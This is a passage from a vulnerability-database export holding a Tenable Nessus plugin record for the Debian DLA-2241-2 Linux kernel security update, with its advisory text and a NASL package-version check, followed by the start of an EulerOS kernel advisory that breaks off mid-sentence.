escalation.\n\nCVE-2020-12653\n\nIt was discovered that the mwifiex WiFi driver did not sufficiently validate scan requests, resulting a potential heap buffer overflow. A local user with CAP_NET_ADMIN capability could use this to cause a denial of service (crash or memory corruption) or possibly for privilege escalation.\n\nCVE-2020-12654\n\nIt was discovered that the mwifiex WiFi driver did not sufficiently validate WMM parameters received from an access point (AP), resulting a potential heap buffer overflow. A malicious AP could use this to cause a denial of service (crash or memory corruption) or possibly to execute code on a vulnerable system.\n\nCVE-2020-12769\n\nIt was discovered that the spi-dw SPI host driver did not properly serialise access to its internal state. The security impact of this is unclear, and this driver is not included in Debian's binary packages.\n\nCVE-2020-12770\n\nIt was discovered that the sg (SCSI generic) driver did not correctly release internal resources in a particular error case. A local user permitted to access an sg device could possibly use this to cause a denial of service (resource exhaustion).\n\nCVE-2020-12826\n\nAdam Zabrocki reported a weakness in the signal subsystem's permission checks. A parent process can choose an arbitary signal for a child process to send when it exits, but if the parent has executed a new program then the default SIGCHLD signal is sent. A local user permitted to run a program for several days could bypass this check, execute a setuid program, and then send an arbitrary signal to it.\nDepending on the setuid programs installed, this could have some security impact.\n\nCVE-2020-13143\n\nKyungtae Kim reported a potential heap out-of-bounds write in the USB gadget subsystem. A local user permitted to write to the gadget configuration filesystem could use this to cause a denial of service (crash or memory corruption) or potentially for privilege escalation.\n\nFor Debian 8 'Jessie', these problems have been fixed in version 3.16.84-1.\n\nWe recommend that you upgrade your linux packages.\n\nNOTE: Tenable Network Security has extracted the preceding description block directly from the DLA security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.", "cvss3": {"score": 6.7, "vector": "CVSS:3.0/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H"}, "published": "2020-06-10T00:00:00", "type": "nessus", "title": "Debian DLA-2241-2 : linux security update", "bulletinFamily": "scanner", "cvss2": {}, "cvelist": ["CVE-2015-8839", "CVE-2018-14610", "CVE-2018-14611", "CVE-2018-14612", "CVE-2018-14613", "CVE-2019-19319", "CVE-2019-19447", "CVE-2019-19768", "CVE-2019-20636", "CVE-2019-5108", "CVE-2020-0009", "CVE-2020-0543", "CVE-2020-10690", "CVE-2020-10751", "CVE-2020-10942", "CVE-2020-11494", "CVE-2020-11565", "CVE-2020-11608", "CVE-2020-11609", "CVE-2020-11668", "CVE-2020-12114", "CVE-2020-12464", "CVE-2020-12652", "CVE-2020-12653", "CVE-2020-12654", "CVE-2020-12769", "CVE-2020-12770", "CVE-2020-12826", "CVE-2020-13143", "CVE-2020-1749", "CVE-2020-2732", "CVE-2020-8647", "CVE-2020-8648", "CVE-2020-8649", "CVE-2020-9383"], "modified": "2021-01-11T00:00:00", "cpe": ["p-cpe:/a:debian:debian_linux:linux-compiler-gcc-4.8-arm", "p-cpe:/a:debian:debian_linux:linux-compiler-gcc-4.8-x86", "p-cpe:/a:debian:debian_linux:linux-compiler-gcc-4.9-x86", "p-cpe:/a:debian:debian_linux:linux-doc-3.16", "p-cpe:/a:debian:debian_linux:linux-headers-3.16.0-9-586", "p-cpe:/a:debian:debian_linux:linux-headers-3.16.0-9-686-pae", "p-cpe:/a:debian:debian_linux:linux-headers-3.16.0-9-all", "p-cpe:/a:debian:debian_linux:linux-headers-3.16.0-9-all-amd64", "p-cpe:/a:debian:debian_linux:linux-headers-3.16.0-9-all-armel", "p-cpe:/a:debian:debian_linux:linux-headers-3.16.0-9-all-armhf", "p-cpe:/a:debian:debian_linux:linux-headers-3.16.0-9-all-i386", "p-cpe:/a:debian:debian_linux:linux-headers-3.16.0-9-amd64", "p-cpe:/a:debian:debian_linux:linux-headers-3.16.0-9-armmp", "p-cpe:/a:debian:debian_linux:linux-headers-3.16.0-9-armmp-lpae", "p-cpe:/a:debian:debian_linux:linux-headers-3.16.0-9-common", "p-cpe:/a:debian:debian_linux:linux-headers-3.16.0-9-ixp4xx", "p-cpe:/a:debian:debian_linux:linux-headers-3.16.0-9-kirkwood", "p-cpe:/a:debian:debian_linux:linux-headers-3.16.0-9-orion5x", "p-cpe:/a:debian:debian_linux:linux-headers-3.16.0-9-versatile", "p-cpe:/a:debian:debian_linux:linux-image-3.16.0-9-586", "p-cpe:/a:debian:debian_linux:linux-image-3.16.0-9-686-pae", "p-cpe:/a:debian:debian_linux:linux-image-3.16.0-9-686-pae-dbg", "p-cpe:/a:debian:debian_linux:linux-image-3.16.0-9-amd64", "p-cpe:/a:debian:debian_linux:linux-image-3.16.0-9-amd64-dbg", "p-cpe:/a:debian:debian_linux:linux-image-3.16.0-9-armmp", "p-cpe:/a:debian:debian_linux:linux-image-3.16.0-9-armmp-lpae", "p-cpe:/a:debian:debian_linux:linux-image-3.16.0-9-ixp4xx", "p-cpe:/a:debian:debian_linux:linux-image-3.16.0-9-kirkwood", "p-cpe:/a:debian:debian_linux:linux-image-3.16.0-9-orion5x", "p-cpe:/a:debian:debian_linux:linux-image-3.16.0-9-versatile", "p-cpe:/a:debian:debian_linux:linux-libc-dev", "p-cpe:/a:debian:debian_linux:linux-manual-3.16", "p-cpe:/a:debian:debian_linux:linux-source-3.16", "p-cpe:/a:debian:debian_linux:linux-support-3.16.0-9", "p-cpe:/a:debian:debian_linux:xen-linux-system-3.16.0-9-amd64", "cpe:/o:debian:debian_linux:8.0"], "id": "DEBIAN_DLA-2241.NASL", "href": "https://www.tenable.com/plugins/nessus/137283", "sourceData": "#%NASL_MIN_LEVEL 70300\n#\n# (C) Tenable Network Security, Inc.\n#\n# The descriptive text and package checks in this plugin were\n# extracted from Debian Security Advisory DLA-2241-2. The text\n# itself is copyright (C) Software in the Public Interest, Inc.\n#\n\ninclude('deprecated_nasl_level.inc');\ninclude('compat.inc');\n\nif (description)\n{\n script_id(137283);\n script_version(\"1.6\");\n script_set_attribute(attribute:\"plugin_modification_date\", value:\"2021/01/11\");\n\n script_cve_id(\"CVE-2015-8839\", \"CVE-2018-14610\", \"CVE-2018-14611\", \"CVE-2018-14612\", \"CVE-2018-14613\", \"CVE-2019-19319\", \"CVE-2019-19447\", \"CVE-2019-19768\", \"CVE-2019-20636\", \"CVE-2019-5108\", \"CVE-2020-0009\", \"CVE-2020-0543\", \"CVE-2020-10690\", \"CVE-2020-10751\", \"CVE-2020-10942\", \"CVE-2020-11494\", \"CVE-2020-11565\", \"CVE-2020-11608\", \"CVE-2020-11609\", \"CVE-2020-11668\", \"CVE-2020-12114\", \"CVE-2020-12464\", \"CVE-2020-12652\", \"CVE-2020-12653\", \"CVE-2020-12654\", \"CVE-2020-12769\", \"CVE-2020-12770\", \"CVE-2020-12826\", \"CVE-2020-13143\", \"CVE-2020-1749\", \"CVE-2020-2732\", \"CVE-2020-8647\", \"CVE-2020-8648\", \"CVE-2020-8649\", \"CVE-2020-9383\");\n\n script_name(english:\"Debian DLA-2241-2 : linux security update\");\n script_summary(english:\"Checks dpkg output for the updated packages.\");\n\n script_set_attribute(\n attribute:\"synopsis\",\n value:\"The remote Debian host is missing a security update.\"\n );\n script_set_attribute(\n attribute:\"description\",\n value:\n\"This update is now available for all supported architectures. For\nreference the original advisory text follows.\n\nSeveral vulnerabilities have been discovered in the Linux kernel that\nmay lead to a privilege escalation, denial of service or information\nleaks.\n\nCVE-2015-8839\n\nA race condition was found in the ext4 filesystem implementation. A\nlocal user could exploit this to cause a denial of service (filesystem\ncorruption).\n\nCVE-2018-14610, CVE-2018-14611, CVE-2018-14612, CVE-2018-14613\n\nWen Xu from SSLab at Gatech reported that crafted Btrfs volumes could\ntrigger a crash (Oops) and/or out-of-bounds memory access. An attacker\nable to mount such a volume could use this to cause a denial of\nservice or possibly for privilege escalation.\n\nCVE-2019-5108\n\nMitchell Frank of Cisco discovered that when the IEEE 802.11 (WiFi)\nstack was used in AP mode with roaming, it would trigger roaming for a\nnewly associated station before the station was authenticated. An\nattacker within range of the AP could use this to cause a denial of\nservice, either by filling up a switching table or by redirecting\ntraffic away from other stations.\n\nCVE-2019-19319\n\nJungyeon discovered that a crafted filesystem can cause the ext4\nimplementation to deallocate or reallocate journal blocks. A user\npermitted to mount filesystems could use this to cause a denial of\nservice (crash), or possibly for privilege escalation.\n\nCVE-2019-19447\n\nIt was discovered that the ext4 filesystem driver did not safely\nhandle unlinking of an inode that, due to filesystem corruption,\nalready has a link count of 0. An attacker able to mount arbitrary\next4 volumes could use this to cause a denial of service (memory\ncorruption or crash) or possibly for privilege escalation.\n\nCVE-2019-19768\n\nTristan Madani reported a race condition in the blktrace debug\nfacility that could result in a use-after-free. A local user able to\ntrigger removal of block devices could possibly use this to cause a\ndenial of service (crash) or for privilege escalation.\n\nCVE-2019-20636\n\nThe syzbot tool found that the input subsystem did not fully validate\nkeycode changes, which could result in a heap out-of-bounds write. A\nlocal user permitted to access the device node for an input or VT\ndevice could possibly use this to cause a denial of service (crash or\nmemory corruption) or for privilege escalation.\n\nCVE-2020-0009\n\nJann Horn reported that the Android ashmem driver did not prevent\nread-only files from being memory-mapped and then remapped as\nread-write. However, Android drivers are not enabled in Debian kernel\nconfigurations.\n\nCVE-2020-0543\n\nResearchers at VU Amsterdam discovered that on some Intel CPUs\nsupporting the RDRAND and RDSEED instructions, part of a random value\ngenerated by these instructions may be used in a later speculative\nexecution on any core of the same physical CPU. Depending on how these\ninstructions are used by applications, a local user or VM guest could\nuse this to obtain sensitive information such as cryptographic keys\nfrom other users or VMs.\n\nThis vulnerability can be mitigated by a microcode update,\neither as part of system firmware (BIOS) or through the\nintel-microcode package in Debian's non-free archive\nsection. This kernel update only provides reporting of the\nvulnerability and the option to disable the mitigation if it\nis not needed.\n\nCVE-2020-1749\n\nXiumei Mu reported that some network protocols that can run on top of\nIPv6 would bypass the Transformation (XFRM) layer used by IPsec,\nIPcomp/IPcomp6, IPIP, and IPv6 Mobility. This could result in\ndisclosure of information over the network, since it would not be\nencrypted or routed according to the system policy.\n\nCVE-2020-2732\n\nPaulo Bonzini discovered that the KVM implementation for Intel\nprocessors did not properly handle instruction emulation for L2 guests\nwhen nested virtualization is enabled. This could allow an L2 guest to\ncause privilege escalation, denial of service, or information leaks in\nthe L1 guest.\n\nCVE-2020-8647, CVE-2020-8649\n\nThe Hulk Robot tool found a potential MMIO out-of-bounds access in the\nvgacon driver. A local user permitted to access a virtual terminal\n(/dev/tty1 etc.) on a system using the vgacon driver could use this to\ncause a denial of service (crash or memory corruption) or possibly for\nprivilege escalation.\n\nCVE-2020-8648\n\nThe syzbot tool found a race condition in the the virtual terminal\ndriver, which could result in a use-after-free. A local user permitted\nto access a virtual terminal could use this to cause a denial of\nservice (crash or memory corruption) or possibly for privilege\nescalation.\n\nCVE-2020-9383\n\nJordy Zomer reported an incorrect range check in the floppy driver\nwhich could lead to a static out-of-bounds access. A local user\npermitted to access a floppy drive could use this to cause a denial of\nservice (crash or memory corruption) or possibly for privilege\nescalation.\n\nCVE-2020-10690\n\nIt was discovered that the PTP hardware clock subsystem did not\nproperly manage device lifetimes. Removing a PTP hardware clock from\nthe system while a user process was using it could lead to a\nuse-after-free. The security impact of this is unclear.\n\nCVE-2020-10751\n\nDmitry Vyukov reported that the SELinux subsystem did not properly\nhandle validating multiple messages, which could allow a privileged\nattacker to bypass SELinux netlink restrictions.\n\nCVE-2020-10942\n\nIt was discovered that the vhost_net driver did not properly validate\nthe type of sockets set as back-ends. A local user permitted to access\n/dev/vhost-net could use this to cause a stack corruption via crafted\nsystem calls, resulting in denial of service (crash) or possibly\nprivilege escalation.\n\nCVE-2020-11494\n\nIt was discovered that the slcan (serial line CAN) network driver did\nnot fully initialise CAN headers for received packets, resulting in an\ninformation leak from the kernel to user-space or over the CAN\nnetwork.\n\nCVE-2020-11565\n\nEntropy Moe reported that the shared memory filesystem (tmpfs) did not\ncorrectly handle an 'mpol' mount option specifying an empty node list,\nleading to a stack-based out-of-bounds write. If user namespaces are\nenabled, a local user could use this to cause a denial of service\n(crash) or possibly for privilege escalation.\n\nCVE-2020-11608, CVE-2020-11609, CVE-2020-11668\n\nIt was discovered that the ov519, stv06xx, and xirlink_cit media\ndrivers did not properly validate USB device descriptors. A physically\npresent user with a specially constructed USB device could use this to\ncause a denial of service (crash) or possibly for privilege\nescalation.\n\nCVE-2020-12114\n\nPiotr Krysiuk discovered a race condition between the umount and\npivot_root operations in the filesystem core (vfs). A local user with\nthe CAP_SYS_ADMIN capability in any user namespace could use this to\ncause a denial of service (crash).\n\nCVE-2020-12464\n\nKyungtae Kim reported a race condition in the USB core that can result\nin a use-after-free. It is not clear how this can be exploited, but it\ncould result in a denial of service (crash or memory corruption) or\nprivilege escalation.\n\nCVE-2020-12652\n\nTom Hatskevich reported a bug in the mptfusion storage drivers. An\nioctl handler fetched a parameter from user memory twice, creating a\nrace condition which could result in incorrect locking of internal\ndata structures. A local user permitted to access /dev/mptctl could\nuse this to cause a denial of service (crash or memory corruption) or\nfor privilege escalation.\n\nCVE-2020-12653\n\nIt was discovered that the mwifiex WiFi driver did not sufficiently\nvalidate scan requests, resulting a potential heap buffer overflow. A\nlocal user with CAP_NET_ADMIN capability could use this to cause a\ndenial of service (crash or memory corruption) or possibly for\nprivilege escalation.\n\nCVE-2020-12654\n\nIt was discovered that the mwifiex WiFi driver did not sufficiently\nvalidate WMM parameters received from an access point (AP), resulting\na potential heap buffer overflow. A malicious AP could use this to\ncause a denial of service (crash or memory corruption) or possibly to\nexecute code on a vulnerable system.\n\nCVE-2020-12769\n\nIt was discovered that the spi-dw SPI host driver did not properly\nserialise access to its internal state. The security impact of this is\nunclear, and this driver is not included in Debian's binary packages.\n\nCVE-2020-12770\n\nIt was discovered that the sg (SCSI generic) driver did not correctly\nrelease internal resources in a particular error case. A local user\npermitted to access an sg device could possibly use this to cause a\ndenial of service (resource exhaustion).\n\nCVE-2020-12826\n\nAdam Zabrocki reported a weakness in the signal subsystem's permission\nchecks. A parent process can choose an arbitary signal for a child\nprocess to send when it exits, but if the parent has executed a new\nprogram then the default SIGCHLD signal is sent. A local user\npermitted to run a program for several days could bypass this check,\nexecute a setuid program, and then send an arbitrary signal to it.\nDepending on the setuid programs installed, this could have some\nsecurity impact.\n\nCVE-2020-13143\n\nKyungtae Kim reported a potential heap out-of-bounds write in the USB\ngadget subsystem. A local user permitted to write to the gadget\nconfiguration filesystem could use this to cause a denial of service\n(crash or memory corruption) or potentially for privilege escalation.\n\nFor Debian 8 'Jessie', these problems have been fixed in version\n3.16.84-1.\n\nWe recommend that you upgrade your linux packages.\n\nNOTE: Tenable Network Security has extracted the preceding description\nblock directly from the DLA security advisory. Tenable has attempted\nto automatically clean and format it as much as possible without\nintroducing additional issues.\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://lists.debian.org/debian-lts-announce/2020/06/msg00013.html\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://packages.debian.org/source/jessie/linux\"\n );\n script_set_attribute(attribute:\"solution\", value:\"Upgrade the affected packages.\");\n script_set_cvss_base_vector(\"CVSS2#AV:L/AC:L/Au:N/C:C/I:C/A:C\");\n script_set_cvss_temporal_vector(\"CVSS2#E:POC/RL:OF/RC:C\");\n script_set_cvss3_base_vector(\"CVSS:3.0/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H\");\n script_set_cvss3_temporal_vector(\"CVSS:3.0/E:P/RL:O/RC:C\");\n script_set_attribute(attribute:\"cvss_score_source\", value:\"CVE-2020-12464\");\n script_set_attribute(attribute:\"exploitability_ease\", value:\"Exploits are available\");\n script_set_attribute(attribute:\"exploit_available\", value:\"true\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:debian:debian_linux:linux-compiler-gcc-4.8-arm\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:debian:debian_linux:linux-compiler-gcc-4.8-x86\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:debian:debian_linux:linux-compiler-gcc-4.9-x86\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:debian:debian_linux:linux-doc-3.16\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:debian:debian_linux:linux-headers-3.16.0-9-586\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:debian:debian_linux:linux-headers-3.16.0-9-686-pae\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:debian:debian_linux:linux-headers-3.16.0-9-all\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:debian:debian_linux:linux-headers-3.16.0-9-all-amd64\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:debian:debian_linux:linux-headers-3.16.0-9-all-armel\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:debian:debian_linux:linux-headers-3.16.0-9-all-armhf\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:debian:debian_linux:linux-headers-3.16.0-9-all-i386\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:debian:debian_linux:linux-headers-3.16.0-9-amd64\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:debian:debian_linux:linux-headers-3.16.0-9-armmp\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:debian:debian_linux:linux-headers-3.16.0-9-armmp-lpae\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:debian:debian_linux:linux-headers-3.16.0-9-common\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:debian:debian_linux:linux-headers-3.16.0-9-ixp4xx\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:debian:debian_linux:linux-headers-3.16.0-9-kirkwood\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:debian:debian_linux:linux-headers-3.16.0-9-orion5x\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:debian:debian_linux:linux-headers-3.16.0-9-versatile\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:debian:debian_linux:linux-image-3.16.0-9-586\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:debian:debian_linux:linux-image-3.16.0-9-686-pae\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:debian:debian_linux:linux-image-3.16.0-9-686-pae-dbg\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:debian:debian_linux:linux-image-3.16.0-9-amd64\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:debian:debian_linux:linux-image-3.16.0-9-amd64-dbg\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:debian:debian_linux:linux-image-3.16.0-9-armmp\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:debian:debian_linux:linux-image-3.16.0-9-armmp-lpae\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:debian:debian_linux:linux-image-3.16.0-9-ixp4xx\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:debian:debian_linux:linux-image-3.16.0-9-kirkwood\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:debian:debian_linux:linux-image-3.16.0-9-orion5x\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:debian:debian_linux:linux-image-3.16.0-9-versatile\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:debian:debian_linux:linux-libc-dev\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:debian:debian_linux:linux-manual-3.16\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:debian:debian_linux:linux-source-3.16\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:debian:debian_linux:linux-support-3.16.0-9\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:debian:debian_linux:xen-linux-system-3.16.0-9-amd64\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:debian:debian_linux:8.0\");\n\n script_set_attribute(attribute:\"vuln_publication_date\", value:\"2016/05/02\");\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2020/06/10\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2020/06/10\");\n script_set_attribute(attribute:\"generated_plugin\", value:\"current\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_copyright(english:\"This script is Copyright (C) 2020-2021 and is owned by Tenable, Inc. or an Affiliate thereof.\");\n script_family(english:\"Debian Local Security Checks\");\n\n script_dependencies(\"ssh_get_info.nasl\");\n script_require_keys(\"Host/local_checks_enabled\", \"Host/Debian/release\", \"Host/Debian/dpkg-l\");\n\n exit(0);\n}\n\n\ninclude(\"audit.inc\");\ninclude(\"debian_package.inc\");\n\n\nif (!get_kb_item(\"Host/local_checks_enabled\")) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);\nif (!get_kb_item(\"Host/Debian/release\")) audit(AUDIT_OS_NOT, \"Debian\");\nif (!get_kb_item(\"Host/Debian/dpkg-l\")) audit(AUDIT_PACKAGE_LIST_MISSING);\n\n\nflag = 0;\nif (deb_check(release:\"8.0\", prefix:\"linux-compiler-gcc-4.8-arm\", reference:\"3.16.84-1\")) flag++;\nif (deb_check(release:\"8.0\", prefix:\"linux-compiler-gcc-4.8-x86\", reference:\"3.16.84-1\")) flag++;\nif (deb_check(release:\"8.0\", prefix:\"linux-compiler-gcc-4.9-x86\", reference:\"3.16.84-1\")) flag++;\nif (deb_check(release:\"8.0\", prefix:\"linux-doc-3.16\", reference:\"3.16.84-1\")) flag++;\nif (deb_check(release:\"8.0\", prefix:\"linux-headers-3.16.0-9-586\", reference:\"3.16.84-1\")) flag++;\nif (deb_check(release:\"8.0\", prefix:\"linux-headers-3.16.0-9-686-pae\", reference:\"3.16.84-1\")) flag++;\nif (deb_check(release:\"8.0\", prefix:\"linux-headers-3.16.0-9-all\", reference:\"3.16.84-1\")) flag++;\nif (deb_check(release:\"8.0\", prefix:\"linux-headers-3.16.0-9-all-amd64\", reference:\"3.16.84-1\")) flag++;\nif (deb_check(release:\"8.0\", prefix:\"linux-headers-3.16.0-9-all-armel\", reference:\"3.16.84-1\")) flag++;\nif (deb_check(release:\"8.0\", prefix:\"linux-headers-3.16.0-9-all-armhf\", reference:\"3.16.84-1\")) flag++;\nif (deb_check(release:\"8.0\", prefix:\"linux-headers-3.16.0-9-all-i386\", reference:\"3.16.84-1\")) flag++;\nif (deb_check(release:\"8.0\", prefix:\"linux-headers-3.16.0-9-amd64\", reference:\"3.16.84-1\")) flag++;\nif (deb_check(release:\"8.0\", prefix:\"linux-headers-3.16.0-9-armmp\", reference:\"3.16.84-1\")) flag++;\nif (deb_check(release:\"8.0\", prefix:\"linux-headers-3.16.0-9-armmp-lpae\", reference:\"3.16.84-1\")) flag++;\nif (deb_check(release:\"8.0\", prefix:\"linux-headers-3.16.0-9-common\", reference:\"3.16.84-1\")) flag++;\nif (deb_check(release:\"8.0\", prefix:\"linux-headers-3.16.0-9-ixp4xx\", reference:\"3.16.84-1\")) flag++;\nif (deb_check(release:\"8.0\", prefix:\"linux-headers-3.16.0-9-kirkwood\", reference:\"3.16.84-1\")) flag++;\nif (deb_check(release:\"8.0\", prefix:\"linux-headers-3.16.0-9-orion5x\", reference:\"3.16.84-1\")) flag++;\nif (deb_check(release:\"8.0\", prefix:\"linux-headers-3.16.0-9-versatile\", reference:\"3.16.84-1\")) flag++;\nif (deb_check(release:\"8.0\", prefix:\"linux-image-3.16.0-9-586\", reference:\"3.16.84-1\")) flag++;\nif (deb_check(release:\"8.0\", prefix:\"linux-image-3.16.0-9-686-pae\", reference:\"3.16.84-1\")) flag++;\nif (deb_check(release:\"8.0\", prefix:\"linux-image-3.16.0-9-686-pae-dbg\", reference:\"3.16.84-1\")) flag++;\nif (deb_check(release:\"8.0\", prefix:\"linux-image-3.16.0-9-amd64\", reference:\"3.16.84-1\")) flag++;\nif (deb_check(release:\"8.0\", prefix:\"linux-image-3.16.0-9-amd64-dbg\", reference:\"3.16.84-1\")) flag++;\nif (deb_check(release:\"8.0\", prefix:\"linux-image-3.16.0-9-armmp\", reference:\"3.16.84-1\")) flag++;\nif (deb_check(release:\"8.0\", prefix:\"linux-image-3.16.0-9-armmp-lpae\", reference:\"3.16.84-1\")) flag++;\nif (deb_check(release:\"8.0\", prefix:\"linux-image-3.16.0-9-ixp4xx\", reference:\"3.16.84-1\")) flag++;\nif (deb_check(release:\"8.0\", prefix:\"linux-image-3.16.0-9-kirkwood\", reference:\"3.16.84-1\")) flag++;\nif (deb_check(release:\"8.0\", prefix:\"linux-image-3.16.0-9-orion5x\", reference:\"3.16.84-1\")) flag++;\nif (deb_check(release:\"8.0\", prefix:\"linux-image-3.16.0-9-versatile\", reference:\"3.16.84-1\")) flag++;\nif (deb_check(release:\"8.0\", prefix:\"linux-libc-dev\", reference:\"3.16.84-1\")) flag++;\nif (deb_check(release:\"8.0\", prefix:\"linux-manual-3.16\", reference:\"3.16.84-1\")) flag++;\nif (deb_check(release:\"8.0\", prefix:\"linux-source-3.16\", reference:\"3.16.84-1\")) flag++;\nif (deb_check(release:\"8.0\", prefix:\"linux-support-3.16.0-9\", reference:\"3.16.84-1\")) flag++;\nif (deb_check(release:\"8.0\", prefix:\"xen-linux-system-3.16.0-9-amd64\", reference:\"3.16.84-1\")) flag++;\n\nif (flag)\n{\n if (report_verbosity > 0) security_hole(port:0, extra:deb_report_get());\n else security_hole(0);\n exit(0);\n}\nelse audit(AUDIT_HOST_NOT, \"affected\");\n", "cvss": {"score": 7.2, "vector": "AV:L/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-04-21T17:05:21", "description": "According to the versions of the kernel packages installed, the EulerOS Virtualization for ARM 64 installation on the remote host is affected by the following vulnerabilities :\n\n - The kernel package contains the Linux kernel (vmlinuz), the core of any Linux operating system. The kernel handles the basic functions of the operating system:\n memory allocation, process allocation, device input and output, etc. Security Fix(es):In the Android kernel in F2FS driver there is a possible out of bounds read due to a missing bounds check. This could lead to local information disclosure with system execution privileges needed. User interaction is not needed for exploitation.(CVE-2019-9445)In calc_vm_may_flags of ashmem.c, there is a possible arbitrary write to shared memory due to a permissions bypass. This could lead to local escalation of privilege by corrupting memory shared between processes, with no additional execution privileges needed. User interaction is not needed for exploitation. Product: Android Versions: Android kernel Android ID: A-142938932(CVE-2020-0009)A new domain bypass transient execution attack known as Special Register Buffer Data Sampling (SRBDS) has been found.\n This flaw allows data values from special internal registers to be leaked by an attacker able to execute code on any core of the CPU. An unprivileged, local attacker can use this flaw to infer values returned by affected instructions known to be commonly used during cryptographic operations that rely on uniqueness, secrecy, or both.(CVE-2020-0543)A flaw was found in the Linux kernel's implementation of the BTRFS file system.\n A local attacker, with the ability to mount a file system, can create a use-after-free memory fault after the file system has been unmounted. This may lead to memory corruption or privilege escalation.(CVE-2019-19377)A NULL pointer dereference flaw may occur in the Linux kernel's relay_open in kernel/relay.c. if the alloc_percpu() function is not validated in time of failure and used as a valid address for access. An attacker could use this flaw to cause a denial of service.(CVE-2019-19462)A NULL pointer dereference flaw was found in tw5864_handle_frame function in drivers/media/pci/tw5864/tw5864-video.c in the TW5864 Series Video media driver. The pointer 'vb' is assigned, but not validated before its use, and can lead to a denial of service. This flaw allows a local attacker with special user or root privileges to crash the system or leak internal kernel information.(CVE-2019-20806)go7007_snd_init in drivers/media/usb/go7007/snd-go7007.c in the Linux kernel before 5.6 does not call snd_card_free for a failure path, which causes a memory leak, aka CID-9453264ef586.(CVE-2019-20810)An issue was discovered in the Linux kernel before 5.0.6. In rx_queue_add_kobject() and netdev_queue_add_kobject() in net/coreet-sysfs.c, a reference count is mishandled, aka CID-a3e23f719f5c.(CVE-2019-20811)A flaw was found in the way the af_packet functionality in the Linux kernel handled the retirement timer setting for TPACKET_v3 when getting settings from the underlying network device errors out. This flaw allows a local user who can open the af_packet domain socket and who can hit the error path, to use this vulnerability to starve the system.(CVE-2019-20812)A NULL pointer dereference flaw was found in the Linux kernel's SELinux subsystem. This flaw occurs while importing the Commercial IP Security Option (CIPSO) protocol's category bitmap into the SELinux extensible bitmap via the' ebitmap_netlbl_import' routine. While processing the CIPSO restricted bitmap tag in the 'cipso_v4_parsetag_rbm' routine, it sets the security attribute to indicate that the category bitmap is present, even if it has not been allocated. This issue leads to a NULL pointer dereference issue while importing the same category bitmap into SELinux. This flaw allows a remote network user to crash the system kernel, resulting in a denial of service.(CVE-2020-10711)A flaw was found in the Linux kernel's SELinux LSM hook implementation, where it anticipated the skb would only contain a single Netlink message. The hook incorrectly validated the first Netlink message in the skb only, to allow or deny the rest of the messages within the skb with the granted permissions and without further processing. At this time, there is no known ability for an attacker to abuse this flaw.(CVE-2020-10751)A flaw was found in the Linux Kernel in versions after 4.5-rc1 in the way mremap handled DAX Huge Pages. This flaw allows a local attacker with access to a DAX enabled storage to escalate their privileges on the system.(CVE-2020-10757)A logic bug flaw was found in the Linux kernel's implementation of SSBD. A bug in the logic handling allows an attacker with a local account to disable SSBD protection during a context switch when additional speculative execution mitigations are in place. This issue was introduced when the per task/process conditional STIPB switching was added on top of the existing SSBD switching. The highest threat from this vulnerability is to confidentiality.(CVE-2020-10766)A flaw was found in the Linux kernel's implementation of the Enhanced IBPB (Indirect Branch Prediction Barrier). The IBPB mitigation will be disabled when STIBP is not available or when the Enhanced Indirect Branch Restricted Speculation (IBRS) is available. This flaw allows a local attacker to perform a Spectre V2 style attack when this configuration is active. The highest threat from this vulnerability is to confidentiality.(CVE-2020-10767)A flaw was found in the prctl() function, where it can be used to enable indirect branch speculation after it has been disabled.\n This call incorrectly reports it as being 'force disabled' when it is not and opens the system to Spectre v2 attacks. The highest threat from this vulnerability is to confidentiality.(CVE-2020-10768)A flaw was found in the ZRAM kernel module, where a user with a local account and the ability to read the 